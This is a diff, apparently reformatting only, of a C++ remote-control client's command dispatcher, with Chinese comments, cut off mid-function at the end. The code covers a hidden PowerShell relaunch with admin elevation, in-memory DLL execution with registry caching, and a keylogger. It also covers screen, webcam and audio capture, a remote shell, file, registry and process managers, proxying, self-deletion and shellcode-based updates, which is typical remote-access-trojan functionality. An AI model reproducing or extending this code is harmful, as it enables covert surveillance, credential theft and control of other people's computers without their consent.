StartAdminLauncherAndExit(const char* exePath, bool admin = true) +{ + // 获取当前进程 ID + DWORD currentPID = GetCurrentProcessId(); - // 构造 PowerShell 命令,等待当前进程退出后以管理员权限启动 - std::string launcherCmd = "powershell -Command \"Start-Sleep -Seconds 1; " // 等待 1 秒,确保当前进程退出 - "while (Get-Process -Id " + std::to_string(currentPID) + " -ErrorAction SilentlyContinue) { Start-Sleep -Milliseconds 500 }; " - "Start-Process -FilePath '" + std::string(exePath); - launcherCmd += admin ? "' -Verb RunAs\"" : "' \""; // 以管理员权限启动目标进程 + // 构造 PowerShell 命令,等待当前进程退出后以管理员权限启动 + std::string launcherCmd = "powershell -Command \"Start-Sleep -Seconds 1; " // 等待 1 秒,确保当前进程退出 + "while (Get-Process -Id " + std::to_string(currentPID) + " -ErrorAction SilentlyContinue) { Start-Sleep -Milliseconds 500 }; " + "Start-Process -FilePath '" + std::string(exePath); + launcherCmd += admin ? "' -Verb RunAs\"" : "' \""; // 以管理员权限启动目标进程 - // 启动隐藏的 cmd 进程 - STARTUPINFO si = { sizeof(si) }; - si.dwFlags = STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; // 隐藏窗口 - PROCESS_INFORMATION pi = {}; - Mprintf("Run: %s\n", launcherCmd.c_str()); - if (CreateProcessA(NULL, (LPSTR)launcherCmd.c_str(), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { - Mprintf("CreateProcess to start launcher process [%d].\n", pi.dwProcessId); - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - return true; - } + // 启动隐藏的 cmd 进程 + STARTUPINFO si = { sizeof(si) }; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; // 隐藏窗口 + PROCESS_INFORMATION pi = {}; + Mprintf("Run: %s\n", launcherCmd.c_str()); + if (CreateProcessA(NULL, (LPSTR)launcherCmd.c_str(), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + Mprintf("CreateProcess to start launcher process [%d].\n", pi.dwProcessId); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return true; + } - Mprintf("Failed to start launcher process.\n"); - return false; + Mprintf("Failed to start launcher process.\n"); + return false; } BOOL IsRunningAsAdmin() { - BOOL isAdmin = FALSE; - PSID administratorsGroup = NULL; + BOOL isAdmin = FALSE; + PSID administratorsGroup = NULL; - SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; - if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, - 0, 0, 0, 0, 0, 0, &administratorsGroup)) - { - if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) - { - isAdmin = FALSE; - } - FreeSid(administratorsGroup); - } + SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; + if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, &administratorsGroup)) { + if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) { + isAdmin = FALSE; + } + FreeSid(administratorsGroup); + } - return isAdmin; + return isAdmin; } VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { - bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; - if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) { - return Mprintf("CKernelManager: The number of threads exceeds the limit.\n"); - } - else if (!isExit) { - m_hThread[m_ulThreadCount].p = nullptr; - m_hThread[m_ulThreadCount].conn = m_conn; - } - std::string publicIP = m_ClientObject->GetClientIP(); + bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; + if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) { + return Mprintf("CKernelManager: The number of threads exceeds the limit.\n"); + } else if (!isExit) { + m_hThread[m_ulThreadCount].p = nullptr; + m_hThread[m_ulThreadCount].conn = m_conn; + } + std::string publicIP = m_ClientObject->GetClientIP(); - switch (szBuffer[0]) - { - case CMD_RUNASADMIN: { - char curFile[_MAX_PATH] = {}; - GetModuleFileName(NULL, curFile, MAX_PATH); - if (!IsRunningAsAdmin()) - { - if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile)) { - g_bExit = S_CLIENT_EXIT; - // 强制退出当前进程,并稍后以管理员权限运行 - Mprintf("CKernelManager: [%s] Restart with administrator privileges.\n", curFile); - Sleep(1000); - TerminateProcess(GetCurrentProcess(), 0xABCDEF); - } - Mprintf("CKernelManager: [%s] Restart with administrator privileges FAILED.\n", curFile); - break; - } - Mprintf("CKernelManager: [%s] Running with administrator privileges.\n", curFile); - break; - } - case CMD_AUTHORIZATION: { - HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); - hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); + switch (szBuffer[0]) { + case CMD_RUNASADMIN: { + char curFile[_MAX_PATH] = {}; + GetModuleFileName(NULL, curFile, MAX_PATH); + if (!IsRunningAsAdmin()) { + if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile)) { + g_bExit = S_CLIENT_EXIT; + // 强制退出当前进程,并稍后以管理员权限运行 + Mprintf("CKernelManager: [%s] Restart with administrator privileges.\n", curFile); + Sleep(1000); + TerminateProcess(GetCurrentProcess(), 0xABCDEF); + } + Mprintf("CKernelManager: [%s] Restart with administrator privileges FAILED.\n", curFile); + break; + } + Mprintf("CKernelManager: [%s] Running with administrator privileges.\n", curFile); + break; + } + case CMD_AUTHORIZATION: { + HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); + hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); #ifndef _DEBUG - if (hMutex == NULL) { // 没有互斥量,主程序可能未运行 - Mprintf("!!! [WARN] Master program is not running.\n"); - } + if (hMutex == NULL) { // 没有互斥量,主程序可能未运行 + Mprintf("!!! [WARN] Master program is not running.\n"); + } #endif - CloseHandle(hMutex); + CloseHandle(hMutex); - char buf[100] = {}, *passCode = buf + 5; - memcpy(buf, szBuffer, min(sizeof(buf), ulLength)); - std::string masterHash(skCrypt(MASTER_HASH)); - const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str(); - if (passCode[0] == 0) { - std::string devId = getDeviceID(); - memcpy(buf + 24, buf + 12, 8); // 消息签名 - memcpy(buf + 96, buf + 8, 4); // 时间戳 - memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节 - memcpy(buf + 32, pwdHash, 64); // 64字节 - m_ClientObject->Send2Server((char*)buf, sizeof(buf)); - Mprintf("Request for authorization update.\n"); - } else { - unsigned short* days = (unsigned short*)(buf + 1); - unsigned short* num = (unsigned short*)(buf + 3); - config* cfg = ((pwdHash == masterHash) && IsDebug) ? new config : new iniFile; - cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode); - cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64); - Mprintf("Update authorization: %s, HMAC: %s\n", passCode, buf+64); - delete cfg; - g_bExit = S_SERVER_EXIT; - } - break; - } - case CMD_EXECUTE_DLL: { + char buf[100] = {}, *passCode = buf + 5; + memcpy(buf, szBuffer, min(sizeof(buf), ulLength)); + std::string masterHash(skCrypt(MASTER_HASH)); + const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str(); + if (passCode[0] == 0) { + std::string devId = getDeviceID(); + memcpy(buf + 24, buf + 12, 8); // 消息签名 + memcpy(buf + 96, buf + 8, 4); // 时间戳 + memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节 + memcpy(buf + 32, pwdHash, 64); // 64字节 + m_ClientObject->Send2Server((char*)buf, sizeof(buf)); + Mprintf("Request for authorization update.\n"); + } else { + unsigned short* days = (unsigned short*)(buf + 1); + unsigned short* num = (unsigned short*)(buf + 3); + config* cfg = ((pwdHash == masterHash) && IsDebug) ? new config : new iniFile; + cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode); + cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64); + Mprintf("Update authorization: %s, HMAC: %s\n", passCode, buf+64); + delete cfg; + g_bExit = S_SERVER_EXIT; + } + break; + } + case CMD_EXECUTE_DLL: { #ifdef _WIN64 - static std::map> m_MemDLL; - const int sz = 1 + sizeof(DllExecuteInfo); - if (ulLength < sz)break; - DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1); - const char* md5 = info->Md5; - auto find = m_MemDLL.find(md5); - if (find == m_MemDLL.end() && ulLength == sz) { - iniFile cfg(CLIENT_PATH); - auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); - if (md5.empty() || md5 != info->Md5 || !m_conn->IsVerified()) { - // 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码 - m_ClientObject->Send2Server((char*)szBuffer, ulLength); - break; - } - Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); - binFile bin(CLIENT_PATH); - auto local = bin.GetStr("settings", info->Name + std::string(".bin")); - const BYTE* bytes = reinterpret_cast(local.data()); - m_MemDLL[md5] = std::vector(bytes + sz, bytes + sz + info->Size); - find = m_MemDLL.find(md5); - } - BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; - if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) { - if (md5[0]) { - m_MemDLL[md5] = std::vector(szBuffer + sz, szBuffer + sz + info->Size); - iniFile cfg(CLIENT_PATH); - cfg.SetStr("settings", info->Name + std::string(".md5"), md5); - binFile bin(CLIENT_PATH); - std::string buffer(reinterpret_cast(szBuffer), ulLength); - bin.SetStr("settings", info->Name + std::string(".bin"), buffer); - Mprintf("Save DLL to registry: %s\n", md5); - } - data = szBuffer + sz; - } - if (data) { - PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn); - CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL)); - Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); - } + static std::map> m_MemDLL; + const int sz = 1 + sizeof(DllExecuteInfo); + if (ulLength < sz)break; + DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1); + const char* md5 = info->Md5; + auto find = m_MemDLL.find(md5); + if (find == m_MemDLL.end() && ulLength == sz) { + iniFile cfg(CLIENT_PATH); + auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); + if (md5.empty() || md5 != info->Md5 || !m_conn->IsVerified()) { + // 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码 + m_ClientObject->Send2Server((char*)szBuffer, ulLength); + break; + } + Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); + binFile bin(CLIENT_PATH); + auto local = bin.GetStr("settings", info->Name + std::string(".bin")); + const BYTE* bytes = reinterpret_cast(local.data()); + m_MemDLL[md5] = std::vector(bytes + sz, bytes + sz + info->Size); + find = m_MemDLL.find(md5); + } + BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; + if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) { + if (md5[0]) { + m_MemDLL[md5] = std::vector(szBuffer + sz, szBuffer + sz + info->Size); + iniFile cfg(CLIENT_PATH); + cfg.SetStr("settings", info->Name + std::string(".md5"), md5); + binFile bin(CLIENT_PATH); + std::string buffer(reinterpret_cast(szBuffer), ulLength); + bin.SetStr("settings", info->Name + std::string(".bin"), buffer); + Mprintf("Save DLL to registry: %s\n", md5); + } + data = szBuffer + sz; + } + if (data) { + PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn); + CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL)); + Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); + } #endif - break; - } + break; + } - case TOKEN_PRIVATESCREEN: { - char h[100] = {}; - memcpy(h, szBuffer + 1, ulLength - 1); - std::string hash = std::string(h, h + 64); - std::string hmac = std::string(h + 64, h + 80); - std::thread t(private_desktop, m_conn, g_bExit, hash, hmac); - t.detach(); - break; - } + case TOKEN_PRIVATESCREEN: { + char h[100] = {}; + memcpy(h, szBuffer + 1, ulLength - 1); + std::string hash = std::string(h, h + 64); + std::string hmac = std::string(h + 64, h + 80); + std::thread t(private_desktop, m_conn, g_bExit, hash, hmac); + t.detach(); + break; + } - case COMMAND_PROXY: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; - break; - } - - case COMMAND_SHARE: - case COMMAND_ASSIGN_MASTER: - if (ulLength > 2) { - switch (szBuffer[1]) { - case SHARE_TYPE_YAMA_FOREVER: { - auto v = StringToVector((char*)szBuffer + 2, ':', 3); - if (v[0].empty() || v[1].empty()) - break; + case COMMAND_PROXY: { + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } - iniFile cfg(CLIENT_PATH); - auto now = time(nullptr); - auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str()); - if (now <= valid_to) break; // Avoid assign again - cfg.SetStr("settings", "master", v[0]); - cfg.SetStr("settings", "port", v[1]); - float days = atof(v[2].c_str()); - if (days > 0) { - auto valid_to = time(0) + days*86400; - // overflow after 2038-01-19 - cfg.SetStr("settings", "valid_to", std::to_string(valid_to)); - } - } - case SHARE_TYPE_YAMA: { - auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); - if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); - break; - } - case SHARE_TYPE_HOLDINGHANDS: - break; - } - } - break; + case COMMAND_SHARE: + case COMMAND_ASSIGN_MASTER: + if (ulLength > 2) { + switch (szBuffer[1]) { + case SHARE_TYPE_YAMA_FOREVER: { + auto v = StringToVector((char*)szBuffer + 2, ':', 3); + if (v[0].empty() || v[1].empty()) + break; - case CMD_HEARTBEAT_ACK: - if (ulLength > 8) { - uint64_t n = 0; - memcpy(&n, szBuffer + 1, sizeof(uint64_t)); - m_nNetPing.update_from_sample(GetUnixMs() - n); - } - break; - case CMD_MASTERSETTING: - if (ulLength > sizeof(MasterSettings)) { - memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings)); - // Remark 打开键盘记录或下一次启动客户端才会生效 - iniFile cfg(CLIENT_PATH); - cfg.SetStr("settings", "wallet", m_settings.WalletAddress); - } - break; - case COMMAND_KEYBOARD: //键盘记录 - { - if (m_hKeyboard) { - CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); - } else { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; - } - break; - } + iniFile cfg(CLIENT_PATH); + auto now = time(nullptr); + auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str()); + if (now <= valid_to) break; // Avoid assign again + cfg.SetStr("settings", "master", v[0]); + cfg.SetStr("settings", "port", v[1]); + float days = atof(v[2].c_str()); + if (days > 0) { + auto valid_to = time(0) + days*86400; + // overflow after 2038-01-19 + cfg.SetStr("settings", "valid_to", std::to_string(valid_to)); + } + } + case SHARE_TYPE_YAMA: { + auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); + if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); + break; + } + case SHARE_TYPE_HOLDINGHANDS: + break; + } + } + break; - case COMMAND_TALK: - { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount].user = m_hInstance; - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; - break; - } + case CMD_HEARTBEAT_ACK: + if (ulLength > 8) { + uint64_t n = 0; + memcpy(&n, szBuffer + 1, sizeof(uint64_t)); + m_nNetPing.update_from_sample(GetUnixMs() - n); + } + break; + case CMD_MASTERSETTING: + if (ulLength > sizeof(MasterSettings)) { + memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings)); + // Remark 打开键盘记录或下一次启动客户端才会生效 + iniFile cfg(CLIENT_PATH); + cfg.SetStr("settings", "wallet", m_settings.WalletAddress); + } + break; + case COMMAND_KEYBOARD: { //键盘记录 + if (m_hKeyboard) { + CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); + } else { + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; + } + break; + } - case COMMAND_SHELL: - { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; - break; - } + case COMMAND_TALK: { + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount].user = m_hInstance; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } - case COMMAND_SYSTEM: //远程进程管理 - { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; - break; - } + case COMMAND_SHELL: { + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } - case COMMAND_WSLIST: //远程窗口管理 - { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; - break; - } + case COMMAND_SYSTEM: { //远程进程管理 + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } - case COMMAND_BYE: - { - BYTE bToken = COMMAND_BYE;// 被控端退出 - m_ClientObject->Send2Server((char*)&bToken, 1); - g_bExit = S_CLIENT_EXIT; - Mprintf("======> Client exit \n"); - break; - } + case COMMAND_WSLIST: { //远程窗口管理 + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } - case TOKEN_UNINSTALL: - { - BYTE bToken = COMMAND_BYE;// 被控端退出 - m_ClientObject->Send2Server((char*)&bToken, 1); - g_bExit = S_CLIENT_EXIT; - self_del(10); - Mprintf("======> Client uninstall \n"); - break; - } + case COMMAND_BYE: { + BYTE bToken = COMMAND_BYE;// 被控端退出 + m_ClientObject->Send2Server((char*)&bToken, 1); + g_bExit = S_CLIENT_EXIT; + Mprintf("======> Client exit \n"); + break; + } - case SERVER_EXIT: - { - // 主控端退出 - g_bExit = S_SERVER_EXIT; - Mprintf("======> Server exit \n"); - break; - } + case TOKEN_UNINSTALL: { + BYTE bToken = COMMAND_BYE;// 被控端退出 + m_ClientObject->Send2Server((char*)&bToken, 1); + g_bExit = S_CLIENT_EXIT; + self_del(10); + Mprintf("======> Client uninstall \n"); + break; + } - case COMMAND_SCREEN_SPY: - { - UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) }; - if (ulLength > 1) { - memcpy(user->buffer, szBuffer + 1, ulLength - 1); - if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0; - } - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount].user = user; - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; - break; - } + case SERVER_EXIT: { + // 主控端退出 + g_bExit = S_SERVER_EXIT; + Mprintf("======> Server exit \n"); + break; + } - case COMMAND_LIST_DRIVE : - { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; - break; - } + case COMMAND_SCREEN_SPY: { + UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) }; + if (ulLength > 1) { + memcpy(user->buffer, szBuffer + 1, ulLength - 1); + if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0; + } + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount].user = user; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } - case COMMAND_WEBCAM: - { - static bool hasCamera = WebCamIsExist(); - if (!hasCamera) break; - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; - break; - } + case COMMAND_LIST_DRIVE : { + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } - case COMMAND_AUDIO: - { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; - break; - } + case COMMAND_WEBCAM: { + static bool hasCamera = WebCamIsExist(); + if (!hasCamera) break; + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } - case COMMAND_REGEDIT: - { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; - break; - } + case COMMAND_AUDIO: { + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } - case COMMAND_SERVICES: - { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); - m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); - break; - } + case COMMAND_REGEDIT: { + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; + break; + } - case COMMAND_UPDATE:{ - auto typ = m_conn->ClientType(); - if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) { - ULONGLONG size = 0; - memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); - if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) { - g_bExit = S_CLIENT_UPDATE; - } - }else if (typ == CLIENT_TYPE_SHELLCODE || typ == CLIENT_TYPE_MEMDLL) { - char curFile[_MAX_PATH] = {}; - GetModuleFileName(NULL, curFile, MAX_PATH); - if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile, false)) { - g_bExit = S_CLIENT_UPDATE; - // 强制退出当前进程,并重新启动;这会触发重新获取 Shell code 从而做到软件升级 - Mprintf("CKernelManager: [%s] Will be updated.\n", curFile); - Sleep(1000); - TerminateProcess(GetCurrentProcess(), 0xABCDEF); - } - Mprintf("CKernelManager: [%s] Update FAILED.\n", curFile); - } else { - Mprintf("=====> 客户端类型'%d'不支持文件升级\n", typ); - } - break; - } + case COMMAND_SERVICES: { + m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); + break; + } - default: - { - Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0])); - break; - } - } + case COMMAND_UPDATE: { + auto typ = m_conn->ClientType(); + if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) { + ULONGLONG size = 0; + memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); + if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) { + g_bExit = S_CLIENT_UPDATE; + } + } else if (typ == CLIENT_TYPE_SHELLCODE || typ == CLIENT_TYPE_MEMDLL) { + char curFile[_MAX_PATH] = {}; + GetModuleFileName(NULL, curFile, MAX_PATH); + if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile, false)) { + g_bExit = S_CLIENT_UPDATE; + // 强制退出当前进程,并重新启动;这会触发重新获取 Shell code 从而做到软件升级 + Mprintf("CKernelManager: [%s] Will be updated.\n", curFile); + Sleep(1000); + TerminateProcess(GetCurrentProcess(), 0xABCDEF); + } + Mprintf("CKernelManager: [%s] Update FAILED.\n", curFile); + } else { + Mprintf("=====> 客户端类型'%d'不支持文件升级\n", typ); + } + break; + } + + default: { + Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0])); + break; + } + } } diff --git a/client/KernelManager.h b/client/KernelManager.h index 224357b..31996c8 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -25,177 +25,183 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP); -class ActivityWindow { +class ActivityWindow +{ public: - std::string Check(DWORD threshold_ms = 6000) { - auto idle = GetUserIdleTime(); - BOOL isActive = (idle < threshold_ms); - if (isActive) { - return GetActiveWindowTitle(); - } - return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle); - } + std::string Check(DWORD threshold_ms = 6000) + { + auto idle = GetUserIdleTime(); + BOOL isActive = (idle < threshold_ms); + if (isActive) { + return GetActiveWindowTitle(); + } + return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle); + } private: - std::string FormatMilliseconds(DWORD ms) - { - DWORD totalSeconds = ms / 1000; - DWORD hours = totalSeconds / 3600; - DWORD minutes = (totalSeconds % 3600) / 60; - DWORD seconds = totalSeconds % 60; + std::string FormatMilliseconds(DWORD ms) + { + DWORD totalSeconds = ms / 1000; + DWORD hours = totalSeconds / 3600; + DWORD minutes = (totalSeconds % 3600) / 60; + DWORD seconds = totalSeconds % 60; - std::stringstream ss; - ss << std::setfill('0') - << std::setw(2) << hours << ":" - << std::setw(2) << minutes << ":" - << std::setw(2) << seconds; + std::stringstream ss; + ss << std::setfill('0') + << std::setw(2) << hours << ":" + << std::setw(2) << minutes << ":" + << std::setw(2) << seconds; - return ss.str(); - } + return ss.str(); + } - std::string GetActiveWindowTitle() - { - HWND hForegroundWindow = GetForegroundWindow(); - if (hForegroundWindow == NULL) - return "No active window"; + std::string GetActiveWindowTitle() + { + HWND hForegroundWindow = GetForegroundWindow(); + if (hForegroundWindow == NULL) + return "No active window"; - char windowTitle[256]; - GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle)); - return std::string(windowTitle); - } + char windowTitle[256]; + 